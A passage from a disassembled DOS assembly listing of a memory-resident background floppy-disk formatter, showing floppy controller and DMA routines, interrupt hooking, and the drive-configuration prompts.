;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_66:
|
|
mov ah,7
|
|
call sub_71
|
|
mov ah,data_29
|
|
call sub_71
|
|
retn
|
|
sub_65 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_67 proc near
|
|
mov ah,0Fh
|
|
call sub_71
|
|
mov ah,data_29
|
|
call sub_71
|
|
mov ah,data_63
|
|
call sub_71
|
|
retn
|
|
sub_67 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_68 proc near
|
|
mov ah,8
|
|
call sub_71
|
|
call sub_70
|
|
mov data_73,al
|
|
call sub_70
|
|
mov data_72,al
|
|
retn
|
|
sub_68 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_69 proc near
|
|
call sub_70
|
|
mov data_73,al
|
|
call sub_70
|
|
mov data_74,al
|
|
call sub_70
|
|
mov data_75,al
|
|
call sub_70
|
|
mov data_77,al
|
|
call sub_70
|
|
mov data_78,al
|
|
call sub_70
|
|
mov data_79,al
|
|
call sub_70
|
|
mov data_80,al
|
|
retn
|
|
sub_69 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_70 proc near
|
|
mov dx,3F4h
|
|
xor cx,cx ; Zero register
|
|
|
|
locloop_247:
|
|
in al,dx ; port 3F4h, dsk0 cntrlr status
|
|
and al,0C0h
|
|
cmp al,0C0h
|
|
je loc_248 ; Jump if equal
|
|
loop locloop_247 ; Loop if cx > 0
|
|
|
|
pop ax
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_248:
|
|
inc dx
|
|
in al,dx ; port 3F5h, dsk0 controlr data
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_70 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_71 proc near
|
|
mov dx,3F4h
|
|
xor cx,cx ; Zero register
|
|
|
|
locloop_249:
|
|
in al,dx ; port 3F4h, dsk0 cntrlr status
|
|
and al,0C0h
|
|
cmp al,80h
|
|
je loc_250 ; Jump if equal
|
|
loop locloop_249 ; Loop if cx > 0
|
|
|
|
pop ax
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_250:
|
|
mov al,ah
|
|
inc dx
|
|
out dx,al ; port 3F5h, dsk0 controlr data
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_71 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_72 proc near
|
|
mov dx,3F7h
|
|
mov al,data_71
|
|
out dx,al ; port 3F7h ??I/O Non-standard
|
|
retn
|
|
sub_72 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_73 proc near
|
|
mov al,2
|
|
out 0Ch,al ; port 0Ch, DMA-1 clr byte ptr
|
|
jmp short $+2 ; delay for I/O
|
|
mov al,ah
|
|
out 0Bh,al ; port 0Bh, DMA-1 mode reg
|
|
mov bx,data_68
|
|
push cs
|
|
pop ax
|
|
mov cl,4
|
|
rol ax,cl ; Rotate
|
|
mov ch,al
|
|
and al,0F0h
|
|
add ax,bx
|
|
jnc loc_251 ; Jump if carry=0
|
|
inc ch
|
|
loc_251:
|
|
out 4,al ; port 4, DMA-1 bas&add ch 2
|
|
jmp short $+2 ; delay for I/O
|
|
mov al,ah
|
|
out 4,al ; port 4, DMA-1 bas&add ch 2
|
|
jmp short $+2 ; delay for I/O
|
|
mov al,ch
|
|
and al,0Fh
|
|
out 81h,al ; port 81h, DMA page reg ch 2
|
|
mov ax,data_67
|
|
out 5,al ; port 5, DMA-1 bas&cnt ch 2
|
|
jmp short $+2 ; delay for I/O
|
|
mov al,ah
|
|
out 5,al ; port 5, DMA-1 bas&cnt ch 2
|
|
jmp short $+2 ; delay for I/O
|
|
mov al,2
|
|
out 0Ah,al ; port 0Ah, DMA-1 mask reg bit
|
|
retn
|
|
sub_73 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_74 proc near
|
|
pop ax
|
|
mov data_86,ax
|
|
mov data_68,28E9h
|
|
mov data_67,1FFh
|
|
mov data_69,46h ; 'F'
|
|
mov data_70,0E6h
|
|
call sub_62
|
|
call sub_72
|
|
mov ah,data_69
|
|
call sub_73
|
|
call sub_76
|
|
jc loc_252 ; Jump if carry Set
|
|
call sub_79
|
|
call sub_69
|
|
jc loc_252 ; Jump if carry Set
|
|
jmp data_86
|
|
loc_252:
|
|
clc ; Clear carry flag
|
|
call sub_7
|
|
jmp loc_123
|
|
sub_74 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_75 proc near
|
|
pop ax
|
|
mov data_86,ax
|
|
call sub_62
|
|
call sub_72
|
|
mov ah,data_69
|
|
call sub_73
|
|
call data_85
|
|
jc loc_253 ; Jump if carry Set
|
|
call sub_79
|
|
call sub_69
|
|
jc loc_253 ; Jump if carry Set
|
|
jmp data_86
|
|
loc_253:
|
|
clc ; Clear carry flag
|
|
call sub_7
|
|
jmp loc_123
|
|
sub_75 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_76 proc near
|
|
mov ah,data_70
|
|
call sub_71
|
|
mov ah,data_29
|
|
cmp data_64,0
|
|
je loc_254 ; Jump if equal
|
|
or ah,4
|
|
loc_254:
|
|
call sub_71
|
|
mov ah,data_65
|
|
call sub_71
|
|
mov ah,data_64
|
|
call sub_71
|
|
mov ah,data_66
|
|
call sub_71
|
|
mov ah,2
|
|
call sub_71
|
|
mov ah,data_56
|
|
call sub_71
|
|
mov ah,data_57
|
|
call sub_71
|
|
mov ah,0FFh
|
|
call sub_71
|
|
retn
|
|
sub_76 endp
|
|
|
|
mov ah,4Dh ; 'M'
|
|
call sub_71
|
|
mov ah,data_29
|
|
cmp data_64,0
|
|
je loc_255 ; Jump if equal
|
|
or ah,4
|
|
loc_255:
|
|
call sub_71
|
|
mov ah,2
|
|
call sub_71
|
|
mov ah,data_56
|
|
call sub_71
|
|
mov ah,data_58
|
|
call sub_71
|
|
mov ah,data_59
|
|
call sub_71
|
|
retn
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_77 proc near
|
|
mov ah,4
|
|
call sub_71
|
|
mov ah,data_29
|
|
call sub_71
|
|
call sub_70
|
|
mov data_76,al
|
|
retn
|
|
sub_77 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_78 proc near
|
|
pop ax
|
|
mov data_87,ax
|
|
call sub_48
|
|
mov ax,data_61
|
|
mov data_67,ax
|
|
mov data_68,14Dh
|
|
mov data_69,4Ah ; 'J'
|
|
mov data_85,2837h
|
|
call sub_75
|
|
test data_73,0C0h
|
|
jnz loc_256 ; Jump if not zero
|
|
jmp data_87
|
|
loc_256:
|
|
test data_74,2
|
|
jz loc_257 ; Jump if zero
|
|
jmp loc_86
|
|
loc_257:
|
|
cmp data_94,2
|
|
jne loc_258 ; Jump if not equal
|
|
mov data_94,0
|
|
jmp loc_93
|
|
loc_258:
|
|
inc data_94
|
|
call sub_65
|
|
test data_73,0C0h
|
|
jnz loc_259 ; Jump if not zero
|
|
jmp data_82
|
|
loc_259:
|
|
jmp loc_123
|
|
sub_78 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_79 proc near
|
|
mov cx,18h
|
|
|
|
locloop_260:
|
|
call sub_7
|
|
cmp byte ptr ds:[22Fh],0
|
|
jne loc_261 ; Jump if not equal
|
|
retn
|
|
loc_261:
|
|
loop locloop_260 ; Loop if cx > 0
|
|
|
|
pop ax
|
|
jmp loc_123
|
|
sub_79 endp
|
|
|
|
data_214 db 0
|
|
data_215 dw 0
|
|
db 8 dup (0)
|
|
data_217 dw 0
|
|
db 26 dup (0)
|
|
data_218 dw 0
|
|
data_219 dw 0
|
|
db 469 dup (0)
|
|
data_220 db 0
|
|
db 154 dup (0)
|
|
data_221 db 0Dh, 0Ah, ' Mem Resident Format A'
|
|
db 'lready Installed', 0Dh, 0Ah, 'Al'
|
|
db 't + Left Shift + Right Shift Wil'
|
|
db 'l Activate', 0Dh, 0Ah, '$'
|
|
data_222 db 0Dh, 0Ah, 'Background Formatter I'
|
|
db 's Installed', 0Dh, 0Ah, 'Alt + L'
|
|
db 'eft Shift + Right Shift Will Act'
|
|
db 'ivate', 0Dh, 0Ah, '$'
|
|
data_223 db 0Dh, 0Ah, 'No Diskette Drive Conn'
|
|
db 'ect', 0Dh, 0Ah, 'Program Termina'
|
|
db 'ted !', 0Dh, 0Ah, '$'
|
|
db 'There Are '
|
|
data_224 db 0
|
|
db ' Diskette Drives Connected'
|
|
db 0
|
|
data_225 db 0
|
|
db 20h,0C4h
|
|
db 14 dup (0C4h)
|
|
data_227 db ' ', 0
|
|
db 'Is This Configuration Correct ? '
|
|
db '[Y]', 0
|
|
db 'How Many Diskette Drives ( Not I'
|
|
db 'nclude Fixed Disk ) ?', 0
|
|
db 'DRIVE ', 0
|
|
db ' ( 0 - 360K, 1 - 1.2M, 2 - 720K,'
|
|
db ' 3 - 1.44M ) ?', 0
|
|
loc_262:
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
call sub_86
|
|
mov word ptr ds:[1E2h],cs
|
|
mov word ptr ds:[1E4h],cs
|
|
mov word ptr ds:[1DAh],cs
|
|
mov word ptr ds:[1E0h],cs
|
|
mov word ptr data_24,0EBFEh
|
|
cli ; Disable interrupts
|
|
mov word ptr ds:[1E6h],ss
|
|
mov word ptr ds:[1E8h],sp
|
|
push cs
|
|
pop ss
|
|
mov sp,2B84h
|
|
mov ax,202h
|
|
push ax
|
|
push cs
|
|
mov ax,data_81
|
|
push ax
|
|
mov word ptr ds:[1DCh],sp
|
|
mov ss,word ptr ds:[1E6h]
|
|
mov sp,word ptr ds:[1E8h]
|
|
sti ; Enable interrupts
|
|
call sub_80
|
|
call sub_23
|
|
call sub_88
|
|
call sub_24
|
|
mov al,0Eh
|
|
mov si,19Dh
|
|
mov dx,12CCh
|
|
call sub_87
|
|
mov al,13h
|
|
mov si,1A1h
|
|
mov dx,12E6h
|
|
call sub_87
|
|
mov al,9
|
|
mov si,199h
|
|
mov dx,127Ah
|
|
call sub_87
|
|
mov al,8
|
|
mov si,195h
|
|
mov dx,11E0h
|
|
call sub_87
|
|
mov dx,offset data_222 ; ('')
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
mov al,0
|
|
mov dx,2B84h
|
|
mov cl,4
|
|
shr dx,cl ; Shift w/zeros fill
|
|
add dx,11h
|
|
mov ah,31h ; '1'
|
|
int 21h ; DOS Services ah=function 31h
|
|
; terminate & stay resident
|
|
; al=return code,dx=paragraphs
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_80 proc near
|
|
push es
|
|
mov es,cs:data_25
|
|
mov dx,es:video_port_
|
|
add dx,6
|
|
mov cs:data_90,dx
|
|
pop es
|
|
int 11h ; Put equipment bits in ax
|
|
mov bh,al
|
|
and bh,30h ; '0'
|
|
mov data_91,0B800h
|
|
cmp bh,30h ; '0'
|
|
jne loc_263 ; Jump if not equal
|
|
mov data_91,0B000h
|
|
loc_263:
|
|
mov bh,al
|
|
and bh,1
|
|
and ax,0C0h
|
|
shl ax,1 ; Shift w/zeros fill
|
|
shl ax,1 ; Shift w/zeros fill
|
|
add ah,bh
|
|
cmp ah,0
|
|
jne loc_264 ; Jump if not equal
|
|
mov dx,offset data_223 ; ('')
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
jmp loc_277
|
|
loc_264:
|
|
mov al,ah
|
|
cmp al,3
|
|
jl loc_265 ; Jump if <
|
|
mov al,2
|
|
loc_265:
|
|
mov data_28,al
|
|
or al,30h ; '0'
|
|
mov data_224,al
|
|
call sub_81
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_81:
|
|
push ax
|
|
push es
|
|
push di
|
|
mov bx,0Dh
|
|
mov dx,0
|
|
loc_266:
|
|
mov si,dx
|
|
push ax
|
|
push bx
|
|
push dx
|
|
mov ah,8
|
|
int 13h ; Disk dl=drive a ah=func 08h
|
|
; get drive parameters, bl=type
|
|
; cx=cylinders, dh=max heads
|
|
; es:di= ptr to drive table
|
|
jc loc_267 ; Jump if carry Set
|
|
mov al,bl
|
|
dec al
|
|
pop dx
|
|
pop bx
|
|
mov [bx+si],al
|
|
pop ax
|
|
dec ah
|
|
jz loc_268 ; Jump if zero
|
|
inc dx
|
|
jmp short loc_266
|
|
loc_267:
|
|
add sp,6
|
|
loc_268:
|
|
pop di
|
|
pop es
|
|
pop ax
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_82:
|
|
mov al,41h ; 'A'
|
|
mov dx,0C1Dh
|
|
mov di,0
|
|
call sub_85
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_83:
|
|
call sub_82
|
|
call sub_84
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_84:
|
|
mov al,42h ; 'B'
|
|
mov dx,0E1Dh
|
|
mov di,1
|
|
call sub_85
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_85:
|
|
mov data_225,al
|
|
mov si,2C8Bh
|
|
call sub_14
|
|
mov al,[di+0Dh]
|
|
nop ;*ASM fixup - displacement
|
|
cbw ; Convrt byte to word
|
|
add ax,ax
|
|
mov si,ax
|
|
mov bx,offset data_32
|
|
mov si,[bx+si]
|
|
call sub_15
|
|
retn
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_86:
|
|
mov ah,51h ; 'Q'
|
|
int 21h ; DOS Services ah=function 51h
|
|
; get active PSP segment in bx
|
|
;* undocumented function
|
|
mov data_231,bx
|
|
mov ax,300Eh
|
|
mov data_232,ax
|
|
xor ax,ax ; Zero register
|
|
loc_269:
|
|
mov ds,ax
|
|
xor si,si ; Zero register
|
|
cld ; Clear direction
|
|
lodsb ; String [si] to al
|
|
cmp al,4Dh ; 'M'
|
|
je loc_271 ; Jump if equal
|
|
loc_270:
|
|
push ds
|
|
pop ax
|
|
inc ax
|
|
jmp short loc_269
|
|
loc_271:
|
|
push ds
|
|
mov si,data_3e
|
|
lodsw ; String [si] to ax
|
|
pop bx
|
|
add bx,ax
|
|
inc bx
|
|
jc loc_270 ; Jump if carry Set
|
|
cmp cs:data_231,bx
|
|
jb loc_270 ; Jump if below
|
|
push ds
|
|
mov ds,bx
|
|
cmp byte ptr ds:data_17e,4Dh ; 'M'
|
|
nop ;*ASM fixup - sign extn byte
|
|
je loc_272 ; Jump if equal
|
|
pop ds
|
|
jmp short loc_270
|
|
loc_272:
|
|
mov di,cs:data_232
|
|
push cs
|
|
pop es
|
|
mov bx,ds
|
|
pop ds
|
|
mov ax,ds
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,bx
|
|
stosw ; Store ax to es:[di]
|
|
mov ds,bx
|
|
loc_273:
|
|
push ds
|
|
mov si,data_3e
|
|
lodsw ; String [si] to ax
|
|
pop bx
|
|
add bx,ax
|
|
inc bx
|
|
mov ax,bx
|
|
stosw ; Store ax to es:[di]
|
|
mov ds,bx
|
|
xor si,si ; Zero register
|
|
lodsb ; String [si] to al
|
|
cmp al,5Ah ; 'Z'
|
|
jne loc_273 ; Jump if not equal
|
|
xor ax,ax ; Zero register
|
|
stosw ; Store ax to es:[di]
|
|
push cs
|
|
pop ds
|
|
mov si,di
|
|
sub si,6
|
|
lodsw ; String [si] to ax
|
|
mov data_26,ax
|
|
lodsw ; String [si] to ax
|
|
mov data_27,ax
|
|
mov si,offset data_233
|
|
loc_274:
|
|
mov ax,[si]
|
|
cmp ax,0
|
|
je loc_275 ; Jump if equal
|
|
mov es,ax
|
|
mov ax,es:data_2e
|
|
add ax,10h
|
|
mov es,ax
|
|
mov di,data_18e
|
|
cmp word ptr es:[di],0EBFEh
|
|
je loc_276 ; Jump if equal
|
|
add si,2
|
|
jmp short loc_274
|
|
loc_275:
|
|
push cs
|
|
pop es
|
|
retn
|
|
loc_276:
|
|
mov dx,offset data_221 ; ('')
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
loc_277:
|
|
call sub_11
|
|
mov ax,4C00h
|
|
int 21h ; DOS Services ah=function 4Ch
|
|
; terminate with al=return code
|
|
sub_80 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_87 proc near
|
|
push es
|
|
push ax
|
|
push si
|
|
push dx
|
|
mov ah,35h ; '5'
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
pop dx
|
|
pop si
|
|
pop ax
|
|
mov [si],bx
|
|
mov [si+2],es
|
|
mov ah,25h ; '%'
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop es
|
|
retn
|
|
sub_87 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_88 proc near
|
|
loc_278:
|
|
call sub_19
|
|
mov dh,8
|
|
mov dl,17h
|
|
mov si,2C65h
|
|
call sub_14
|
|
mov al,data_28
|
|
cbw ; Convrt byte to word
|
|
dec al
|
|
mov di,ax
|
|
add di,di
|
|
mov bx,offset data_229
|
|
call word ptr [bx+di] ;*
|
|
mov dh,12h
|
|
mov dl,18h
|
|
mov si,2C9Eh
|
|
call sub_14
|
|
call sub_13
|
|
loc_279:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,0Dh
|
|
je loc_ret_282 ; Jump if equal
|
|
cmp al,1Bh
|
|
jne loc_280 ; Jump if not equal
|
|
jmp short loc_ret_282
|
|
db 90h
|
|
loc_280:
|
|
and al,0DFh
|
|
cmp al,59h ; 'Y'
|
|
je loc_ret_282 ; Jump if equal
|
|
cmp al,4Eh ; 'N'
|
|
je loc_281 ; Jump if equal
|
|
call sub_11
|
|
jmp short loc_279
|
|
loc_281:
|
|
call sub_89
|
|
|
|
loc_ret_282:
|
|
retn
|
|
sub_88 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_89 proc near
|
|
call sub_19
|
|
mov dh,12h
|
|
mov dl,0Eh
|
|
mov si,2CC2h
|
|
call sub_14
|
|
call sub_13
|
|
loc_283:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,31h ; '1'
|
|
jge loc_285 ; Jump if > or =
|
|
loc_284:
|
|
call sub_11
|
|
jmp short loc_283
|
|
loc_285:
|
|
cmp al,32h ; '2'
|
|
jg loc_284 ; Jump if >
|
|
mov data_224,al
|
|
and al,0Fh
|
|
mov data_28,al
|
|
cbw ; Convrt byte to word
|
|
push ax
|
|
mov dh,8
|
|
mov dl,17h
|
|
mov si,2C65h
|
|
call sub_14
|
|
mov al,41h ; 'A'
|
|
mov byte ptr data_227+62h,al ; ('')
|
|
xor di,di ; Zero register
|
|
mov bx,0Dh
|
|
loc_286:
|
|
mov dh,12h
|
|
mov dl,0Eh
|
|
mov si,2CF8h
|
|
call sub_14
|
|
call sub_13
|
|
mov al,33h ; '3'
|
|
mov data_102,al
|
|
mov data_89,2FCDh
|
|
call sub_16
|
|
mov [bx+di],al
|
|
push bx
|
|
push di
|
|
shl di,1 ; Shift w/zeros fill
|
|
mov bx,offset data_229
|
|
call word ptr [bx+di] ;*
|
|
pop di
|
|
pop bx
|
|
inc di
|
|
pop ax
|
|
cmp di,ax
|
|
je loc_287 ; Jump if equal
|
|
push ax
|
|
inc byte ptr data_227+62h ; ('')
|
|
jmp short loc_286
|
|
loc_287:
|
|
pop ax
|
|
jmp loc_278
|
|
sub_89 endp
|
|
|
|
data_229 dw offset sub_82
|
|
data_230 dw offset sub_83
|
|
data_231 dw 0
|
|
data_232 dw 0
|
|
data_233 dw 100 dup (0)
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|